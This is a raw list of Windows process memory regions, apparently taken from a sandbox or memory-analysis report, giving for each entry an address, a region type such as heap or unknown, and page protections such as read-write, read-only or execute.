|
|
7FFA35F1B000
|
unkown
|
page read and write
|
|
|
|
1C0C4D97000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D27000
|
unkown
|
page read and write
|
|
|
|
2E1FB280000
|
unkown
|
page read and write
|
|
|
|
2E1E0E24000
|
heap default
|
page read and write
|
|
|
|
2E1E3D54000
|
unkown
|
page read and write
|
|
|
|
7FF516B91000
|
unkown
|
page readonly
|
|
|
|
2E1E3F41000
|
unkown
|
page read and write
|
|
|
|
7FF5172BC000
|
unkown
|
page readonly
|
|
|
|
A84DF7D000
|
unkown
|
page read and write
|
|
|
|
2E1E3E49000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
1C0C4D5F000
|
unkown
|
page read and write
|
|
|
|
7FF50A82B000
|
unkown
|
page readonly
|
|
|
|
21E4B905000
|
heap private
|
page read and write
|
|
|
|
7FF555B44000
|
unkown
|
page readonly
|
|
|
|
2E1E38B2000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF5755D8000
|
unkown
|
page readonly
|
|
|
|
1C0C4D69000
|
unkown
|
page read and write
|
|
|
|
7FFA36180000
|
unkown
|
page read and write
|
|
|
|
126E87F000
|
unkown
|
page read and write
|
|
|
|
7FF555ADC000
|
unkown
|
page readonly
|
|
|
|
1C0C4D8F000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA360F0000
|
unkown
|
page execute and read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1FB15E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D53000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36260000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
1C0C4D68000
|
unkown
|
page read and write
|
|
|
|
18C31202000
|
unkown
|
page read and write
|
|
|
|
E474338000
|
unkown
|
page read and write
|
|
|
|
1C0C4DAD000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
18C31302000
|
unkown
|
page read and write
|
|
|
|
1C0C4D78000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF57560E000
|
unkown
|
page readonly
|
|
|
|
2E1FB2E3000
|
unkown
|
page read and write
|
|
|
|
2E1E2860000
|
unkown
|
page readonly
|
|
|
|
E4742B7000
|
unkown
|
page read and write
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1FB360000
|
unkown
|
page read and write
|
|
|
|
7FF5172A7000
|
unkown
|
page readonly
|
|
|
|
2E1E3F69000
|
unkown
|
page read and write
|
|
|
|
2E1FB131000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1E3F7A000
|
unkown
|
page read and write
|
|
|
|
2E1E2B11000
|
unkown
|
page read and write
|
|
|
|
7FF517382000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB152000
|
unkown
|
page read and write
|
|
|
|
1C0C4D7C000
|
unkown
|
page read and write
|
|
|
|
2E1E407D000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF58024B000
|
unkown
|
page readonly
|
|
|
|
18C311A0000
|
unkown
|
page readonly
|
|
|
|
1C0C4DCB000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
FEE113E000
|
unkown
|
page read and write
|
|
|
|
2E1FB15B000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36290000
|
unkown
|
page read and write
|
|
|
|
7FF50AAF2000
|
unkown
|
page readonly
|
|
|
|
E473E7F000
|
unkown
|
page read and write
|
|
|
|
2E1E409F000
|
unkown
|
page read and write
|
|
|
|
7FF5833AB000
|
unkown
|
page readonly
|
|
|
|
7FF50A848000
|
unkown
|
page readonly
|
|
|
|
2E1E0E1F000
|
heap default
|
page read and write
|
|
|
|
7FF5755EA000
|
unkown
|
page readonly
|
|
|
|
2E1E379A000
|
unkown
|
page read and write
|
|
|
|
2E1E3E52000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1E3A46000
|
unkown
|
page read and write
|
|
|
|
2A95CA4B000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1E4556000
|
unkown
|
page read and write
|
|
|
|
2E1E0EA5000
|
unkown
|
page read and write
|
|
|
|
2E1E3D0C000
|
unkown
|
page read and write
|
|
|
|
7FF5803BE000
|
unkown
|
page readonly
|
|
|
|
7FF5559D1000
|
unkown
|
page readonly
|
|
|
|
7FF57568A000
|
unkown
|
page readonly
|
|
|
|
7FF583666000
|
unkown
|
page readonly
|
|
|
|
2A95CC00000
|
unkown
|
page readonly
|
|
|
|
7FF555AF0000
|
unkown
|
page readonly
|
|
|
|
7FF583431000
|
unkown
|
page readonly
|
|
|
|
7FF5836DA000
|
unkown
|
page readonly
|
|
|
|
7FF51727A000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A80F000
|
unkown
|
page readonly
|
|
|
|
2E1E2990000
|
heap private
|
page read and write
|
|
|
|
7FF582F43000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
7FFA360D0000
|
unkown
|
page execute and read and write
|
|
|
|
7FF517171000
|
unkown
|
page readonly
|
|
|
|
7FF5801A1000
|
unkown
|
page readonly
|
|
|
|
7FF580367000
|
unkown
|
page readonly
|
|
|
|
E4740FE000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E0FB0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FFA36190000
|
unkown
|
page read and write
|
|
|
|
7FF555B27000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D3E000
|
unkown
|
page read and write
|
|
|
|
7FF50A8A4000
|
unkown
|
page readonly
|
|
|
|
7FF51728E000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF50AA5C000
|
unkown
|
page readonly
|
|
|
|
2E1E2EF0000
|
unkown
|
page read and write
|
|
|
|
7FF50A260000
|
unkown
|
page readonly
|
|
|
|
2E1FAFB0000
|
heap private
|
page execute and read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
B58C9EC000
|
unkown
|
page read and write
|
|
|
|
7FF5833B6000
|
unkown
|
page readonly
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
21E4B7FA000
|
unkown
|
page read and write
|
|
|
|
FEE17FE000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
7FF51729B000
|
unkown
|
page readonly
|
|
|
|
21E4B7C0000
|
heap default
|
page read and write
|
|
|
|
1C0C445C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D62000
|
unkown
|
page read and write
|
|
|
|
2E1E3FCB000
|
unkown
|
page read and write
|
|
|
|
2E1FB156000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF555867000
|
unkown
|
page readonly
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1E4057000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page readonly
|
|
|
|
1C0C443C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D59000
|
unkown
|
page read and write
|
|
|
|
1C0C43F0000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF583441000
|
unkown
|
page readonly
|
|
|
|
1C0C4D6D000
|
unkown
|
page read and write
|
|
|
|
1C0C43E0000
|
unkown
|
page readonly
|
|
|
|
7FF51718E000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF517151000
|
unkown
|
page readonly
|
|
|
|
7FF57FF25000
|
unkown
|
page readonly
|
|
|
|
7FF58034A000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF50A308000
|
unkown
|
page readonly
|
|
|
|
1C0C4DA1000
|
unkown
|
page read and write
|
|
|
|
2E1E2910000
|
unkown
|
page write copy
|
|
|
|
1F7B7829000
|
unkown
|
page read and write
|
|
|
|
1F7B8002000
|
unkown
|
page read and write
|
|
|
|
1C0C4D60000
|
unkown
|
page read and write
|
|
|
|
2A95CA51000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
A84DD7E000
|
unkown
|
page read and write
|
|
|
|
7FF50A60A000
|
unkown
|
page readonly
|
|
|
|
126E677000
|
unkown
|
page read and write
|
|
|
|
2E1E3FDE000
|
unkown
|
page read and write
|
|
|
|
2E1E1000000
|
heap private
|
page read and write
|
|
|
|
7FF5172FE000
|
unkown
|
page readonly
|
|
|
|
E4745BC000
|
unkown
|
page read and write
|
|
|
|
7FF50A812000
|
unkown
|
page readonly
|
|
|
|
1C0C4BC0000
|
unkown
|
page readonly
|
|
|
|
1C0C4429000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF555BDA000
|
unkown
|
page readonly
|
|
|
|
1C0C4BE0000
|
unkown
|
page read and write
|
|
|
|
7FF58034E000
|
unkown
|
page readonly
|
|
|
|
7FF5556B6000
|
unkown
|
page readonly
|
|
|
|
7FFA361A0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
21E4B7FF000
|
unkown
|
page read and write
|
|
|
|
2E1E0E97000
|
unkown
|
page read and write
|
|
|
|
7FF50A168000
|
unkown
|
page readonly
|
|
|
|
FEE10BB000
|
unkown
|
page read and write
|
|
|
|
2E1FB490000
|
unkown
|
page read and write
|
|
|
|
7FFA36240000
|
unkown
|
page read and write
|
|
|
|
7FF5831C5000
|
unkown
|
page readonly
|
|
|
|
2E1E2810000
|
unkown
|
page read and write
|
|
|
|
1C0C43D0000
|
unkown
|
page readonly
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1E28A0000
|
unkown
|
page read and write
|
|
|
|
7FF509FC8000
|
unkown
|
page readonly
|
|
|
|
7FF5755CC000
|
unkown
|
page readonly
|
|
|
|
2E1E0EE0000
|
unkown
|
page readonly
|
|
|
|
1C0C4D69000
|
unkown
|
page read and write
|
|
|
|
7FF50AA3F000
|
unkown
|
page readonly
|
|
|
|
2E1FB14C000
|
unkown
|
page read and write
|
|
|
|
B58CC7E000
|
unkown
|
page read and write
|
|
|
|
2E1FB31B000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
E47443E000
|
unkown
|
page read and write
|
|
|
|
7FF583658000
|
unkown
|
page readonly
|
|
|
|
7FF5556B0000
|
unkown
|
page readonly
|
|
|
|
21E4B7EE000
|
unkown
|
page read and write
|
|
|
|
2E1E4762000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB13C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D15000
|
unkown
|
page read and write
|
|
|
|
2E1E402A000
|
unkown
|
page read and write
|
|
|
|
7FF5834F8000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB5C0000
|
unkown
|
page read and write
|
|
|
|
7FF555AF5000
|
unkown
|
page readonly
|
|
|
|
7FF50AA02000
|
unkown
|
page readonly
|
|
|
|
18C31250000
|
unkown
|
page read and write
|
|
|
|
2E1E3027000
|
unkown
|
page read and write
|
|
|
|
2E1E3E7E000
|
unkown
|
page read and write
|
|
|
|
2E1E0FF0000
|
unkown
|
page readonly
|
|
|
|
7FF5171FC000
|
unkown
|
page readonly
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF582F10000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
1F7B7760000
|
unkown
|
page readonly
|
|
|
|
1C0C44DF000
|
unkown
|
page read and write
|
|
|
|
7FF5803CD000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E37B6000
|
unkown
|
page read and write
|
|
|
|
21E4B7E6000
|
unkown
|
page read and write
|
|
|
|
1C0C5202000
|
unkown
|
page read and write
|
|
|
|
2E1FAF71000
|
unkown
|
page read and write
|
|
|
|
7FF580434000
|
unkown
|
page readonly
|
|
|
|
7FF5172D4000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
7FF582B05000
|
unkown
|
page readonly
|
|
|
|
2E1FAF78000
|
unkown
|
page read and write
|
|
|
|
1C0C5302000
|
unkown
|
page read and write
|
|
|
|
2A95CA29000
|
unkown
|
page read and write
|
|
|
|
7FF574EF7000
|
unkown
|
page readonly
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
7FFA36230000
|
unkown
|
page read and write
|
|
|
|
1C0C4D69000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF583543000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
18C3124F000
|
unkown
|
page read and write
|
|
|
|
1C0C4D86000
|
unkown
|
page read and write
|
|
|
|
2E1F2B20000
|
unkown
|
page read and write
|
|
|
|
21E4B7D1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAF3B000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
1C0C5259000
|
unkown
|
page read and write
|
|
|
|
7FF583607000
|
unkown
|
page readonly
|
|
|
|
2E1FB701000
|
unkown
|
page read and write
|
|
|
|
7FF516E56000
|
unkown
|
page readonly
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1FB50F000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
38ECEBB000
|
unkown
|
page read and write
|
|
|
|
2E1E37C3000
|
unkown
|
page read and write
|
|
|
|
7FF580231000
|
unkown
|
page readonly
|
|
|
|
1C0C4D7D000
|
unkown
|
page read and write
|
|
|
|
7FF50AA23000
|
unkown
|
page readonly
|
|
|
|
7FF58029D000
|
unkown
|
page readonly
|
|
|
|
7FF580355000
|
unkown
|
page readonly
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D8C000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D55000
|
unkown
|
page read and write
|
|
|
|
2E1E3FC2000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
21E4B900000
|
heap private
|
page read and write
|
|
|
|
1F7B7680000
|
heap default
|
page read and write
|
|
|
|
7FF5172E4000
|
unkown
|
page readonly
|
|
|
|
1F7B783C000
|
unkown
|
page read and write
|
|
|
|
1F7B7854000
|
unkown
|
page read and write
|
|
|
|
2E1FB14F000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
1F7B7620000
|
heap private
|
page read and write
|
|
|
|
2E1FAF1E000
|
unkown
|
page read and write
|
|
|
|
7FF50AB54000
|
unkown
|
page readonly
|
|
|
|
2E1E3E19000
|
unkown
|
page read and write
|
|
|
|
7FF50AA4F000
|
unkown
|
page readonly
|
|
|
|
7FF583367000
|
unkown
|
page readonly
|
|
|
|
7FF58363A000
|
unkown
|
page readonly
|
|
|
|
2E1E3EDE000
|
unkown
|
page read and write
|
|
|
|
7FFA360A6000
|
unkown
|
page read and write
|
|
|
|
2E1E4062000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1C0C5140000
|
unkown
|
page readonly
|
|
|
|
2E1E3A5B000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF5836E1000
|
unkown
|
page readonly
|
|
|
|
2E1FB14D000
|
unkown
|
page read and write
|
|
|
|
1C0C4600000
|
unkown
|
page readonly
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
1F7B7913000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50AA9C000
|
unkown
|
page readonly
|
|
|
|
1F7B7851000
|
unkown
|
page read and write
|
|
|
|
1C0C4E00000
|
unkown
|
page readonly
|
|
|
|
1C0C4D6D000
|
unkown
|
page read and write
|
|
|
|
7FF50A80C000
|
unkown
|
page readonly
|
|
|
|
7FFA360B1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF5835FB000
|
unkown
|
page readonly
|
|
|
|
2E1E4087000
|
unkown
|
page read and write
|
|
|
|
7FF51718B000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF5170E1000
|
unkown
|
page readonly
|
|
|
|
E47520B000
|
unkown
|
page read and write
|
|
|
|
7FF50A8B1000
|
unkown
|
page readonly
|
|
|
|
2E1E40C7000
|
unkown
|
page read and write
|
|
|
|
2E1E3E75000
|
unkown
|
page read and write
|
|
|
|
7FF50A9B6000
|
unkown
|
page readonly
|
|
|
|
2E1E4032000
|
unkown
|
page read and write
|
|
|
|
7FF583669000
|
unkown
|
page readonly
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2A95C950000
|
unkown
|
page read and write
|
|
|
|
2E1FB150000
|
unkown
|
page read and write
|
|
|
|
E47518C000
|
unkown
|
page read and write
|
|
|
|
7FF5835EA000
|
unkown
|
page readonly
|
|
|
|
2E1E3E5A000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF5835BB000
|
unkown
|
page readonly
|
|
|
|
2E1FB290000
|
unkown
|
page read and write
|
|
|
|
18C31289000
|
unkown
|
page read and write
|
|
|
|
1C0C4D68000
|
unkown
|
page read and write
|
|
|
|
7FF555B1F000
|
unkown
|
page readonly
|
|
|
|
126DFDB000
|
unkown
|
page read and write
|
|
|
|
7FF5834B1000
|
unkown
|
page readonly
|
|
|
|
2E1FAF91000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A7F0000
|
unkown
|
page readonly
|
|
|
|
1C0C4D70000
|
unkown
|
page read and write
|
|
|
|
2E1E3877000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB030000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
7FF50AB61000
|
unkown
|
page readonly
|
|
|
|
1C0C44A8000
|
unkown
|
page read and write
|
|
|
|
1F7B7857000
|
unkown
|
page read and write
|
|
|
|
2E1FB2AB000
|
unkown
|
page read and write
|
|
|
|
21E4B800000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF5559EE000
|
unkown
|
page readonly
|
|
|
|
E47500E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1E37BE000
|
unkown
|
page read and write
|
|
|
|
2E1E403D000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1E4104000
|
unkown
|
page read and write
|
|
|
|
7FF580387000
|
unkown
|
page readonly
|
|
|
|
1C0C4D66000
|
unkown
|
page read and write
|
|
|
|
1C0C4D79000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB14F000
|
unkown
|
page read and write
|
|
|
|
1C0C4D38000
|
unkown
|
page read and write
|
|
|
|
2E1FB4A0000
|
unkown
|
page read and write
|
|
|
|
2E1E4118000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E2994000
|
heap private
|
page read and write
|
|
|
|
1F7B7770000
|
unkown
|
page readonly
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1FB703000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1FAF12000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C44E8000
|
unkown
|
page read and write
|
|
|
|
7FFA35F00000
|
unkown
|
page read and write
|
|
|
|
38ECFBE000
|
unkown
|
page read and write
|
|
|
|
2E1E3FB9000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page readonly
|
|
|
|
2E1E3F31000
|
unkown
|
page read and write
|
|
|
|
7FF50A390000
|
unkown
|
page readonly
|
|
|
|
18C314D0000
|
unkown
|
page readonly
|
|
|
|
7FF5803AF000
|
unkown
|
page readonly
|
|
|
|
2E1E2B00000
|
heap private
|
page execute and read and write
|
|
|
|
2E1E38A4000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF555B58000
|
unkown
|
page readonly
|
|
|
|
B58D5F8000
|
unkown
|
page read and write
|
|
|
|
1C0C44C2000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
7FF574EC0000
|
unkown
|
page readonly
|
|
|
|
2E1E3967000
|
unkown
|
page read and write
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
2E1E4075000
|
unkown
|
page read and write
|
|
|
|
7FF51727C000
|
unkown
|
page readonly
|
|
|
|
7FF582F47000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF58365E000
|
unkown
|
page readonly
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1E3F01000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
126E77F000
|
unkown
|
page read and write
|
|
|
|
7FFA361C0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D83000
|
unkown
|
page read and write
|
|
|
|
7FF50AA44000
|
unkown
|
page readonly
|
|
|
|
1C0C4DA7000
|
unkown
|
page read and write
|
|
|
|
1C0C5300000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
A84DC7A000
|
unkown
|
page read and write
|
|
|
|
7FF583493000
|
unkown
|
page readonly
|
|
|
|
1C0C4462000
|
unkown
|
page read and write
|
|
|
|
2E1E40F4000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1E3F91000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
1C0C4460000
|
unkown
|
page read and write
|
|
|
|
7FFA360E2000
|
unkown
|
page read and write
|
|
|
|
1C0C4D68000
|
unkown
|
page read and write
|
|
|
|
1C0C4D31000
|
unkown
|
page read and write
|
|
|
|
1C0C4D6D000
|
unkown
|
page read and write
|
|
|
|
1C0C4D71000
|
unkown
|
page read and write
|
|
|
|
7FF5835DA000
|
unkown
|
page readonly
|
|
|
|
18C31190000
|
heap default
|
page read and write
|
|
|
|
2E1E4156000
|
unkown
|
page read and write
|
|
|
|
7FF50AA6A000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF58024E000
|
unkown
|
page readonly
|
|
|
|
1F7B7902000
|
unkown
|
page read and write
|
|
|
|
7FF50A2C5000
|
unkown
|
page readonly
|
|
|
|
7FF555BE2000
|
unkown
|
page readonly
|
|
|
|
7FF51730D000
|
unkown
|
page readonly
|
|
|
|
2E1E40EB000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1E3D03000
|
unkown
|
page read and write
|
|
|
|
2E1E45EF000
|
unkown
|
page read and write
|
|
|
|
7FF5835F0000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A177000
|
unkown
|
page readonly
|
|
|
|
2E1E3D14000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
21E4B7EE000
|
unkown
|
page read and write
|
|
|
|
2E1FB703000
|
unkown
|
page read and write
|
|
|
|
2E1E1005000
|
heap private
|
page read and write
|
|
|
|
2E1F2B74000
|
unkown
|
page read and write
|
|
|
|
7FF575619000
|
unkown
|
page readonly
|
|
|
|
2E1E3F20000
|
unkown
|
page read and write
|
|
|
|
7FF50A84F000
|
unkown
|
page readonly
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1E2850000
|
unkown
|
page readonly
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
7FF57561D000
|
unkown
|
page readonly
|
|
|
|
7FF516E65000
|
unkown
|
page readonly
|
|
|
|
2E1FB295000
|
unkown
|
page read and write
|
|
|
|
7FF555005000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D5E000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
1C0C4D93000
|
unkown
|
page read and write
|
|
|
|
1C0C4D81000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF555B5E000
|
unkown
|
page readonly
|
|
|
|
2E1E33E6000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
1C0C4513000
|
unkown
|
page read and write
|
|
|
|
7FF58037C000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1E3EC4000
|
unkown
|
page read and write
|
|
|
|
21E4B7A0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D59000
|
unkown
|
page read and write
|
|
|
|
7FFA35F03000
|
unkown
|
page execute and read and write
|
|
|
|
E473BD5000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
18C3124A000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF50AA3B000
|
unkown
|
page readonly
|
|
|
|
2E1E3DF5000
|
unkown
|
page read and write
|
|
|
|
7FF5835F5000
|
unkown
|
page readonly
|
|
|
|
7FF555A5C000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF555B07000
|
unkown
|
page readonly
|
|
|
|
1C0C5202000
|
unkown
|
page read and write
|
|
|
|
1C0C4DBC000
|
unkown
|
page read and write
|
|
|
|
2E1E3FA6000
|
unkown
|
page read and write
|
|
|
|
2E1FAF80000
|
unkown
|
page read and write
|
|
|
|
2E1E3886000
|
unkown
|
page read and write
|
|
|
|
2E1FB701000
|
unkown
